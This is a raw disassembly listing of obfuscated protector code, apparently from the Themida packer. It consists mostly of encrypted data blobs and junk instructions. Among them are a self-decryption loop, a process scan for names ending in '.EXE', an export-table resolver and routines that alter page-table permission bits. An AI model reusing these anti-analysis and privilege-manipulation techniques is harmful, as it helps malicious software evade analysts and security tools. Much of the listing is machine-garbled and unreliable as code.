dd 0AA096F40h, 222BB820h, 36B51EDEh, 505EFC38h, 615A2CB6h
dd 138A0FC3h, 0F000000h, 0D86h, 8E900h, 1C570000h, 5AF4EAC4h
dd 8C6686CBh, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1404h, 0C3524200h, 800F601Dh, 6, 0A173F781h, 7E96559h
dd 0D9000000h, 99EBB860h, 0F66177D6h, 840F04C1h, 67h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ADC35545h, 0A92F2F05h
dd 0B55F0D68h, 6E9h, 9F4B7800h, 8B0B5218h, 32CB8BFBh, 0FD75AEC0h
dd 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h, 0B000101h
dd 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah, 1B8h
dd 8B09EB00h, 0B8E4EB00h, 0
dd 51006ACFh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 1E986956h, 606F0B8Fh, 38B0Fh, 8B660000h
dd 8B0F53DFh, 0
dd 820F615Eh, 1, 6E860FCh, 9D000000h, 4C2DDBF5h, 11E924h
dd 34F50000h, 81BF2F55h, 6B32A409h, 48674E85h, 5A83865Fh
dd 1DDE8160h, 0F4D947Eh, 85h, 6A616100h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0ECA6C350h
dd 1F61F8D5h, 0F416981h, 1D86h, 17810F00h, 0E9000000h
dd 12h, 6D9072C2h, 282E00FCh, 21CDD0A1h, 8A5DBC71h, 0F60BBC8h
dd 8Bh, 85C76100h, 61A87F0h, 1013Fh, 899A8D8Dh, 6660061Ah
dd 8033DE81h, 6850Fh, 95290000h, 6150269h, 218D8961h, 6A061527h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 1C6EC353h, 75BD890Dh, 0C7061510h, 1504CD85h
dd 640C06h, 0EE800h, 0CA140000h, 0E17A7E30h, 1A1279DBh
dd 955FADE2h, 10E9h, 0C3587500h, 0CF70F089h, 5B9550E2h
dd 8FE8A2DCh, 85C75E35h, 6151115h, 0
; ---------------------------------------------------------------------------
jmp loc_5D239B
; ---------------------------------------------------------------------------
db 87h, 0EDh
db 8Ah
dd 0AC8D2CF8h
db 23h, 0C3h, 0EAh
; ---------------------------------------------------------------------------
loc_5D239B: ; CODE XREF: Themida_:005D238Cj
push dword ptr [ebp+6152339h]
mov eax, [ebp+61503C5h]
pusha
mov di, ax
pusha
push edi
pop edi
popa
popa
call dword ptr [ebp+61502C9h]
jge loc_5D23C2
mov ebx, [ebp+6151675h]
loc_5D23C2: ; CODE XREF: Themida_:005D23B6j
push 0
call dword ptr [ebp+6152E21h]
mov eax, eax
jmp short loc_5D23F9
; ---------------------------------------------------------------------------
dw 7DA7h
dd 0A9DBB13Fh, 9635604Ch, 492A51D3h, 0C8D6B0F0h, 7D3814B7h
dd 42E0DA5Ah, 0ABFC9EE9h, 0DE83084h, 9DE983DFh, 5794420Dh
; ---------------------------------------------------------------------------
daa
loc_5D23F9: ; CODE XREF: Themida_:005D23CCj
call near ptr loc_5D2408+1
adc dh, [ecx]
out 0E2h, eax
mov eax, 6B9AECFDh
in eax, dx
loc_5D2408: ; CODE XREF: Themida_:loc_5D23F9p
db 26h
movsx esi, dx
pop edx
jb loc_5D241F
pusha
mov esi, [ebp+61506C9h]
mov ax, 0E1h
popa
loc_5D241F: ; CODE XREF: Themida_:005D240Dj
add edx, 6051h
movsx edi, cx
sub ebx, ebx
mov eax, [ebp+6151799h]
loc_5D2430: ; CODE XREF: Themida_:005D249Aj
mov ecx, [edx+ebx]
sub [ebp+6150DF9h], esi
add ecx, 7A0960F8h
and edi, [ebp+6150441h]
sub ecx, 4FC4061h
movsx eax, cx
sub ecx, 3530A31Fh
mov ax, 6C2Fh
push ecx
jo $+6
pop dword ptr [edx+ebx]
add [ebp+6151A11h], ebx
mov esi, [ebp+6152451h]
sub ebx, 4
and ah, 0F4h
cmp ebx, 0FFFFA060h
jnz loc_5D2494
jmp loc_5D24B3
; ---------------------------------------------------------------------------
db 20h, 0D8h, 0B7h
dd 0EBF4A124h, 0CBBCD7C5h, 6982BBB0h
; ---------------------------------------------------------------------------
loc_5D2494: ; CODE XREF: Themida_:005D247Aj
xor [ebp+6151DF1h], ebx
jmp loc_5D2430
; ---------------------------------------------------------------------------
db 47h
dd 5D4EF3Eh, 6E163460h, 730EFEFEh, 2BCB7564h
; ---------------------------------------------------------------------------
mov bh, 0A1h
inc ebp
loc_5D24B3: ; CODE XREF: Themida_:005D2480j
jmp loc_5D25F4
; ---------------------------------------------------------------------------
dd 4Fh dup(0)
; ---------------------------------------------------------------------------
loc_5D25F4: ; CODE XREF: Themida_:loc_5D24B3j
cmp dword ptr [ebp+6152169h], 1
jz loc_5D2B19
push 0
push eax
call sub_5D260C
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D260C proc near ; CODE XREF: Themida_:005D2604p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5D260C endp
; ---------------------------------------------------------------------------
inc ebx
pusha
inc edx
imul ecx, esp, 99B79F2h
mov byte ptr [ebp+61509C5h], 43h
pusha
jmp loc_5D2637
; ---------------------------------------------------------------------------
dw 0F723h
db 0EEh, 43h, 96h
; ---------------------------------------------------------------------------
loc_5D2637: ; CODE XREF: Themida_:005D262Dj
mov dx, 7BFDh
popa
call near ptr loc_5D2642+3
cmc
loc_5D2642: ; CODE XREF: Themida_:005D263Cp
shl byte ptr [ebp+7E9ECh], 1
; ---------------------------------------------------------------------------
dd 57B20000h, 0A5EE4105h, 525050A0h, 6E9h, 445FD600h, 0FDD025Dh
dd 0BF666031h, 5A61E848h, 24448B58h, 60525004h, 8B666160h
dd 310F61D8h, 11890Fh, 0CE90000h, 0B9000000h, 0BF82E93Eh
dd 0B665E7FAh, 5A508EBFh, 0E9008B58h, 11h, 3613D3D8h, 99DC483Eh
dd 9FD76E61h, 0C8933734h, 2444892Ah, 0EE904h, 92500000h
dd 3FEA119Ah, 7118D484h, 0FC345675h, 0E3B36058h, 6161F960h
dd 2811B5FFh, 850F0615h, 7, 66595060h, 8D61C38Bh, 1872BC85h
dd 0D0FFF506h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 98C35343h, 391F49C3h, 3DE5A535h, 558589F9h, 0F061524h
dd 1585h, 10E900h, 3CB80000h, 7DA6EDEBh, 0F99C8168h, 263002CEh
dd 85C642D4h, 61509C5h, 1B810F50h, 60000000h, 13E9h, 93C07D00h
dd 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h, 0B16861F9h
dd 50A4C548h, 0F525052h, 8Ch, 0F310F00h, 87h, 0F585A00h
dd 0E9525031h, 13h, 23B21610h, 0CFC68B29h, 944CFD58h, 243CA389h
dd 0F342E54h, 0BE931h, 840B0000h, 0EB544F90h, 79C97265h
dd 5A585AC0h, 24348158h, 0C68E5E7h, 11B5FFF9h, 60061528h
dd 12E8h, 88F07100h, 0A81C9B66h, 481C3B41h, 82257AFAh
dd 0E8B26FA3h, 11h, 0A19DF547h, 0F49B7EB3h, 50146F55h
dd 9B735357h, 0F95959ABh, 11E961h, 0EAC60000h, 5984722Eh
dd 85F4CBE0h, 3BFFA1B1h, 8D4984E2h, 1872BC85h, 16860F06h
dd 0E9000000h, 11h, 6D150533h, 0F976DC6Fh, 3DFD3B10h, 89AFB894h
dd 0F8D0FF24h, 108C0Fh, 0BE90000h, 34000000h, 0A12492Ch
dd 0DABD0998h, 858911C9h, 6151DF9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Bh, 1FC35747h, 89BD5E51h, 0E9D5FB3Ah
dd 13h, 0A310B152h, 0E6733075h, 18FCA532h, 7A083D09h, 0E9C9114Bh
dd 10h, 0DF6BA74h, 244BE2Dh, 0C002AFEh, 0ABD26286h, 0C741D168h
dd 0EE99Eh, 50D70000h, 0A0C4430h, 856C6872h, 0C71B45F9h
dd 0FE243481h, 606E48E9h, 14E9h, 2A8E7900h, 1B91EBF0h
dd 0DAD0D8B3h, 0ABE8EEh, 133577C7h, 87B866B0h, 0B5FF6156h
dd 6152811h, 0DE8B60F8h, 14E9h, 0E94FDB00h, 3F9A28E1h
dd 20F059F4h, 2398544Eh, 0E9D5DFCFh, 858D616Fh, 61872BCh
dd 60D0FFFCh, 91EFDA81h, 0E9524BD4h, 0Ch, 24A44B3Fh, 0B49F573Ch
dd 0AA1E2C6h, 8589615Eh, 6150E0Dh, 0C585C6F8h, 50061509h
dd 10E9h, 836BB000h, 0B6A87B15h, 9813DD84h, 4353E798h
dd 0BD4E6865h, 0CE92604h, 2E000000h, 13C97CC5h, 1BBA73C4h
dd 81073B02h, 1F082404h, 0F607198h, 0B70FCBB7h, 0BE961D6h
dd 98000000h, 0A1E100B5h, 0D855DF4Fh, 0B5FFCB52h, 6151685h
dd 38858DF9h, 6006153Bh, 8E9C781h, 61F82CEFh, 89F5D0FFh
dd 1505B585h, 92E9F506h, 60000001h, 0F8C0BF0Fh, 0E9609561h
dd 7, 16280DD3h, 6638723Ah, 5061F98Bh, 13E9h, 0A3C4900h
dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh, 0DE995h
dd 88640000h, 23EB6A2Ah, 2266B130h, 0F812ECBh, 180h, 0EC8BFC00h
dd 0F7816660h, 12E89D59h, 0C8000000h, 55B9FCD4h, 0F7AA0652h
dd 9E39266Fh, 5756168Ch, 0CB8B6609h, 0EE96159h, 0AC000000h
dd 1871456Fh, 5E1FB864h, 109AEBA3h, 0FCC48352h, 0E8F860F5h
dd 0
; ---------------------------------------------------------------------------
pop edx
sub edx, 61A8FE5h
mov dword ptr [ebp-4], 0
cmp dword ptr [edx+6152169h], 1
jz loc_5D2AC7
push edx
push 0
push 0Fh
call dword ptr [edx+6152455h]
pop edx
mov [edx+61A8A89h], eax
lea ebx, [edx+61A8A8Dh]
push edx
mov dword ptr [ebx], 128h
push ebx
push eax
call dword ptr [edx+6151DF9h]
pop edx
loc_5D2A57: ; CODE XREF: Themida_:005D2A81j
; Themida_:005D2AB5j
push edx
lea ebx, [edx+61A8A8Dh]
push ebx
push dword ptr [edx+61A8A89h]
call dword ptr [edx+61505B5h]
pop edx
or eax, eax
jz short loc_5D2AC0
lea ebx, [edx+61A8A8Dh]
lea edi, [ebx+24h]
xor ecx, ecx
loc_5D2A7B: ; CODE XREF: Themida_:005D2A8Bj
cmp ecx, 104h
jz short loc_5D2A57
inc ecx
cmp dword ptr [ecx+edi], 4558452Eh
jnz short loc_5D2A7B
lea esi, [ecx+edi]
sub esi, [ebp+0Ch]
lea edi, [edx+6151A71h]
mov ecx, [ebp+0Ch]
rep movsb
xor al, al
stosb
push edx
push dword ptr [ebp+8]
lea eax, [edx+6151A71h]
push eax
call dword ptr [edx+6150E0Dh]
pop edx
or eax, eax
jnz short loc_5D2A57
mov dword ptr [ebp-4], 1
jmp short loc_5D2AC7
; ---------------------------------------------------------------------------
loc_5D2AC0: ; CODE XREF: Themida_:005D2A6Ej
mov dword ptr [ebp-4], 0
loc_5D2AC7: ; CODE XREF: Themida_:005D2A29j
; Themida_:005D2ABEj
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
jmp loc_5D2AE5
; ---------------------------------------------------------------------------
dd 2BA96030h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh
db 32h
; ---------------------------------------------------------------------------
loc_5D2AE5: ; CODE XREF: Themida_:005D2ACFj
push 0
push esi
call sub_5D2AF0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D2AF0 proc near ; CODE XREF: Themida_:005D2AE8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_5D2AF0 endp
; ---------------------------------------------------------------------------
dd 0AAADBh, 0FE92Ch, 2CE30000h, 460BE84Eh, 9FAB5598h, 739390B8h
; ---------------------------------------------------------------------------
pop ebx
loc_5D2B19: ; CODE XREF: Themida_:005D25FBj
mov edx, edx
call sub_5D2B33
pop edx
insd
out dx, al
mov ecx, 14B63847h
imul edi, [esi+71h], 96037DE3h
inc ecx
sbb [edx+1Bh], esp
; =============== S U B R O U T I N E =======================================
sub_5D2B33 proc near ; CODE XREF: Themida_:005D2B1Bp
movsx edi, dx
pop edx
jns loc_5D2B42
pusha
movzx esi, si
popa
loc_5D2B42: ; CODE XREF: sub_5D2B33+4j
add edx, 5DBBh
mov ecx, 2845F9DAh
mov esi, 1740h
mov ecx, esi
loc_5D2B54: ; CODE XREF: Themida_:005D2BD4j
push dword ptr [edx]
jnp loc_5D2B60
mov ax, 3A57h
loc_5D2B60: ; CODE XREF: sub_5D2B33+23j
pop ebx
jmp loc_5D2B74
; ---------------------------------------------------------------------------
xchg eax, edx
or [edi+0F4286Bh], edx
test bl, 0B2h
mov byte ptr [eax+70h], 0FFh
loc_5D2B74: ; CODE XREF: sub_5D2B33+2Ej
add ebx, 5F840192h
push edx
js $+6
pop ecx
sub ebx, 717347E8h
mov eax, 5E6123EAh
add ebx, 4EDAE5Fh
mov edi, edx
mov [edx], ebx
call sub_5D2BA6
ja short near ptr loc_5D2BDF+2
sub ebx, ebp
fcomp dword ptr [eax-2ED462D9h]
sub_5D2B33 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D2BA6 proc near ; CODE XREF: sub_5D2B33+64p
mov edi, 4C2194F6h
pop ecx
sub edx, 4
call near ptr loc_5D2BC7+1
xchg dh, [ebx+56F95455h]
sal byte ptr [edx], 0Fh
dec esi
mov [ebp-7BF2A836h], edx
and dh, [ecx]
xchg eax, edi
loc_5D2BC7: ; CODE XREF: sub_5D2BA6+9p
and edi, [ecx+439B403Fh]
sub_5D2BA6 endp ; sp-analysis failed
pop eax
sub esi, 1
jnz loc_5D2B54
mov eax, 17791D0Ch
loc_5D2BDF: ; CODE XREF: sub_5D2B33+69j
enter 0FFFF9211h, 1Ch
db 64h
mov ebp, 61B928B6h
hlt
; ---------------------------------------------------------------------------
dw 0A1F1h
dd 205E073h, 0D8799C37h, 0C7FF4D72h, 78820E87h, 0F4307087h
dd 0E2D2E0F3h, 4B1EE407h, 711DF88Ah, 0B73F4C31h, 19304D26h
dd 0A6D383B6h, 5BD9137Ah, 0A2304D34h, 0D8DB7DC0h, 3D8DCE54h
dd 64365823h, 323EC938h, 98564D37h, 6561B2EDh, 46304E37h
dd 0A429F251h, 0E0C8BAh, 71564B2Dh, 2A02182h, 0A260BFBCh
dd 0F1624D5Dh, 8C304D34h, 1CF31717h, 271419BEh, 951409B6h
dd 0C8304D2Dh, 2BF31F75h, 36250FA3h, 0C4B0800Fh, 3EB5C0B2h
dd 493657A6h, 23304EB6h, 0F0C92D37h, 9815F8A7h, 358F3A7h
dd 0A7CF0A86h, 1F255C36h, 8C33C338h, 8CB04D37h, 0CBF0C6EDh
dd 91304D3Ah, 0E70FB623h, 8D99734Eh, 77C14BBCh, 9D74F7F4h
dd 0F6E4C5Fh, 5338B88Ah, 2A454D31h, 929DF0B4h, 0BC304B22h
dd 0EF631D2Eh, 364AF5F7h, 9CB94D37h, 8A255EB2h, 0ECAED0BAh
dd 0F0CF4B20h, 2CB3156Ch, 0CE254E9Ah, 34273937h, 364AF564h
dd 9CB94D37h, 8A255EB2h, 0E1BDD0BAh, 0F0CF4B20h, 143F156Ch
dd 0C8304D32h, 39073589h, 0B9C2C66Bh, 0F1662DF7h, 8C304D38h
dd 0B0AA74ADh, 15BB741Ah, 0A38A9B1h, 9275D2D9h, 643DA46Dh
dd 8594D37h, 0FD22A66Ch, 383ACBD3h, 27E621B4h, 0B28AD0BAh
dd 14BD4B2Dh, 0CE2ACBA0h, 3EFFC660h, 6BE7C665h, 195A9DC8h
dd 8C33A564h, 1D104D37h, 7FB916F4h, 0D5B14913h, 0C8284913h
dd 37734D37h, 0E1FC35F4h, 0A7561290h, 4C3BB9FAh, 4650C938h
dd 235A4D37h, 9133A565h, 92104D37h, 30B917F4h, 76B14913h
dd 19284913h, 0DE724D37h, 74090FF4h, 0BEBDF499h, 972502A9h
dd 20674D5Dh, 64304D34h, 6DF31217h, 1D1431BEh, 881409B6h
dd 46304D22h, 0B8F31A70h, 9136A476h, 9BEE4D37h, 19066D3Fh
dd 32304E8Fh, 0E3BB1B37h, 0ECD3B26Eh, 42D3CC51h, 0BEBD2C83h
dd 972ADCF5h, 4EA7C8BAh, 645A4B2Dh, 3233A564h, 42104D37h
dd 0D0B916F4h, 2B14913h, 23254913h, 0C2734D37h, 37E113F4h
dd 6BF046E7h, 32300EB3h, 1BBB4237h, 7304D37h, 0D8ADC0E0h
dd 2C365878h, 91304CB0h, 0C988B137h, 0E304D37h, 31D81F37h
dd 39304D37h, 56A8E6Dh, 0C7346963h, 39346973h, 0D3304D37h
dd 89498E65h, 0CE5263ADh, 0E6D4F7FCh, 0FACF0761h, 1DF7D0BAh
dd 465A4B2Dh, 2333A564h, 0CA104D37h, 94B916F4h, 20B14913h
dd 32244913h, 4A734D37h, 98D961F4h, 3B304D37h, 0D30148B0h
dd 0C5CCCCFFh, 8938B7B1h, 4ADD0E2Ch, 0BFC017C4h, 3B6DAB2h
dd 0DD302731h, 46304EDFh, 0E0696D37h, 0B57CC46Eh, 0EC74CC33h
dd 64305833h, 0F1610C37h, 16C9AE5Ah, 8C305DBCh, 463BA437h
dd 0DF044D37h, 334BDA2Eh, 0DA5B5CEAh, 6BE0B253h, 323049B3h
dd 428F2B37h, 83F04646h, 463012B3h, 74302737h, 91304EDFh
dd 0B6F6D37h, 404CC468h, 1674CC33h, 19305533h, 4F670A37h
dd 50C07201h, 21B14265h, 1A304D37h, 2B12BCCh, 8CBA26B6h
dd 7DAED0BAh, 92564B22h, 8C33F5E4h, 465A4D37h, 2333A567h
dd 0C9104D37h, 8CB915F4h, 20B14913h, 32244913h, 49704D37h
dd 73C814F4h, 968F42D4h, 76302774h, 91304EDFh, 0B6D6D37h
dd 405CC46Ah, 1674CC33h, 19305B33h, 4F650837h, 0CB3757CEh
dd 39A1FD8Ah, 0D9BDC031h, 703657A2h, 0EE7B114Ah, 36B9C804h
dd 0D61B4B22h, 0BD32A4F6h, 2ADCF5BEh, 0A7C8BA97h, 5A4B2D4Eh
dd 33A56464h, 104D3732h, 8316F442h, 0A4F305E9h, 0CE8C08Bh
dd 0E5000000h, 38DBDA37h, 9DE3516Ah, 5EE8FB4Fh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 4CC35040h, 8BD4F9F2h
dd 0BF5E50C3h, 5A3C2F55h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0C4D8B7C3h, 560CB026h
dd 0AAD98166h, 83D38B79h, 1508F5BDh, 9750006h, 3ADBD83h
dd 74000615h, 8B535019h, 47AB8C0h, 85890000h, 61502A1h
dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
dd 47AB853h, 85890000h, 61502A1h, 0A7A69D8Dh, 0D3FF0617h
dd 0A9B6585Bh, 66E9C08Bh, 60000002h, 0F6D98C66h, 840F04C1h
dd 35h, 0B5FF016Ah, 6151685h, 72BC858Dh, 0D0FF0618h, 14ED8589h
dd 0FE8B0615h, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h
dd 95FF0001h, 61514EDh, 32E9h, 0C585C600h, 56061509h, 0C530DF68h
dd 11B5FFA9h, 8D061528h, 1872BC85h, 89D0FF06h, 15301985h
dd 75858D06h, 5006151Eh, 56A406Ah, 1995FF56h, 61061530h
dd 0C3h, 2 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5D30D1: ; DATA XREF: Themida_:0057BF70o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+61A969Eh], eax
mov eax, [edx+0Ch]
mov [ebp+61A9696h], eax
mov eax, [edx+10h]
mov [ebp+61A969Ah], eax
lea esi, [ebp+61A96D4h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
retn 0Ch
; ---------------------------------------------------------------------------
mov esi, [ebp+61A969Eh]
mov eax, [ebp+61A9696h]
cmp dword ptr [ebp+61A969Ah], 0
jz loc_5D3123
mov [esi], eax
jmp locret_5D3125
; ---------------------------------------------------------------------------
loc_5D3123: ; CODE XREF: Themida_:005D3116j
mov [esi], al
locret_5D3125: ; CODE XREF: Themida_:005D311Ej
iret
; ---------------------------------------------------------------------------
align 4
dd 0
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D312E: ; DATA XREF: Themida_:0057AB90o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+61A969Eh], eax
lea esi, [ebp+61A9725h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
mov eax, [ebp+61A969Eh]
retn 4
; ---------------------------------------------------------------------------
dd 969E858Bh, 8B061Ah, 969E8589h, 0CF061Ah
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5D3167 proc near ; DATA XREF: Themida_:0057A79Co
pusha
mov [ebp+61A96FBh], esi
mov [ebp+61A96F7h], eax
lea eax, [ebp+61505E1h]
mov eax, [eax+44h]
mov [ebp+61A9734h], eax
lea esi, [ebp+61A976Ah]
lea eax, dword_5B8EA1[ebp]
call eax
popa
mov eax, [ebp+61A96FBh]
retn
sub_5D3167 endp
; ---------------------------------------------------------------------------
mov ebx, [ebp+61A96F7h]
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
mov ebx, [ebx+78h]
add ebx, [ebp+61A96F7h]
mov esi, [ebx+24h]
add esi, [ebp+61A96F7h]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [ebp+61A96F7h]
add esi, [ebp+61A96F7h]
cld
or ecx, 0FFFFFFFFh
loc_5D31CE: ; CODE XREF: Themida_:005D31ECj
; Themida_:005D31FBj
inc ecx
mov ebx, [ebp+61A96FBh]
mov edx, [edi]
add edx, [ebp+61A96F7h]
add edi, 4
loc_5D31E0: ; CODE XREF: Themida_:005D31F4j
mov al, [edx]
test al, al
jz loc_5D31F9
cmp al, [ebx]
jnz loc_5D31CE
inc ebx
inc edx
jmp loc_5D31E0
; ---------------------------------------------------------------------------
loc_5D31F9: ; CODE XREF: Themida_:005D31E4j
cmp al, [ebx]
jnz loc_5D31CE
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [ebp+61A96F7h]
mov [ebp+61A96FBh], eax
mov esi, eax
mov ecx, esi
mov eax, ecx
cmp dword ptr [ebp+61A9734h], 0C0300000h
jnz loc_5D323A
shr eax, 14h
and eax, 0FFCh
jmp loc_5D3242
; ---------------------------------------------------------------------------
loc_5D323A: ; CODE XREF: Themida_:005D3227j
shr eax, 12h
and eax, 3FF8h
loc_5D3242: ; CODE XREF: Themida_:005D3235j
mov edi, [ebp+61A9734h]
or dword ptr [edi+eax], 6
mov edx, [edi+eax]
mov eax, edx
and al, 81h
cmp al, 81h
mov eax, ecx
jz locret_5D32B4
cmp dword ptr [ebp+61A9734h], 0C0300000h
jnz loc_5D327A
shr eax, 0Ah
and eax, 3FFFFCh
jmp loc_5D3282
; ---------------------------------------------------------------------------
loc_5D327A: ; CODE XREF: Themida_:005D3267j
shr eax, 9
and eax, 7FFFF8h
loc_5D3282: ; CODE XREF: Themida_:005D3275j
sub eax, 40000000h
or dword ptr [eax], 6
test dword ptr [eax], 80h
jz locret_5D32B4
cmp dword ptr [ebp+61A9734h], 0C0300000h
jz locret_5D32B4
and eax, 3FF8h
mov eax, [eax-3FA00000h]
or dword ptr [eax], 6
locret_5D32B4: ; CODE XREF: Themida_:005D3257j
; Themida_:005D3290j ...
iret
; ---------------------------------------------------------------------------
lea eax, [ebp+61A96A2h]
mov [ebp+6152541h], eax
lea eax, [ebp+61A9738h]
mov [ebp+6150D6Dh], eax
lea eax, [ebp+61A96FFh]
mov [ebp+6151161h], eax
jmp loc_5D34A6
; ---------------------------------------------------------------------------
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
dd offset byte_418880+8
align 10h
dd 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 30000h, 14h dup(0)
dd 8C20000h, 75726600h, 0FE80h, 11h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D34A6: ; CODE XREF: Themida_:005D32D9j
jmp loc_5D37FE
; =============== S U B R O U T I N E =======================================
sub_5D34AB proc near ; DATA XREF: Themida_:0057BF9Co
push ebp
call $+5
pop ebp
sub ebp, 61A9A82h
pusha
mov dword ptr [ebp+61A99CFh], 0
cmp word ptr [esi], 0A166h
jnz loc_5D34DD
mov dword ptr [ebp+61A99D3h], 6
jmp loc_5D3501
; ---------------------------------------------------------------------------
loc_5D34DD: ; CODE XREF: sub_5D34AB+1Dj
lea eax, [ebp+61A99D7h]
push eax
lea eax, [ebp+61A9A27h]
push eax
push esi
push 0
call sub_5D3510
add esp, 10h
and eax, 0FFh
mov [ebp+61A99D3h], eax
loc_5D3501: ; CODE XREF: sub_5D34AB+2Dj
popa
add esi, [ebp+61A99D3h]
mov eax, [ebp+61A99CFh]
pop ebp
retn
sub_5D34AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5D3510 proc near ; CODE XREF: sub_5D34AB+43p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_61A99C7 = dword ptr 61A99CFh
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5D353D
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5D3549
; ---------------------------------------------------------------------------
loc_5D353D: ; CODE XREF: sub_5D3510+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5D3549: ; CODE XREF: sub_5D3510+28j
push ebx
push esi
push edi
loc_5D354C: ; CODE XREF: sub_5D3510+91j
; sub_5D3510+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5D355F: ; CODE XREF: sub_5D3510+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 61A9B39h
lea ebp, [ebp+61A99AFh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5D358C
inc cl
cmp cl, 0Bh
jb loc_5D355F
loc_5D358C: ; CODE XREF: sub_5D3510+6Bj
cmp cl, 0Bh
jz loc_5D35E9
cmp al, 66h
jnz loc_5D35CA
cmp [ebp+var_5], 0
jnz loc_5D354C
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5D35C2
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5D354C
; ---------------------------------------------------------------------------
loc_5D35C2: ; CODE XREF: sub_5D3510+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5D35CA: ; CODE XREF: sub_5D3510+87j
cmp al, 67h
jnz loc_5D354C
cmp [ebp+var_6], 0
jnz loc_5D354C
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5D354C
; ---------------------------------------------------------------------------
loc_5D35E9: ; CODE XREF: sub_5D3510+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5D3615
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5D361A
; ---------------------------------------------------------------------------
loc_5D3615: ; CODE XREF: sub_5D3510+E4j
movzx edi, al
shr edi, 1
loc_5D361A: ; CODE XREF: sub_5D3510+100j
push ebp
call $+5
pop ebp
sub ebp, 61A9BF1h
lea ebp, [ebp+61A98AFh]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5D379C
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
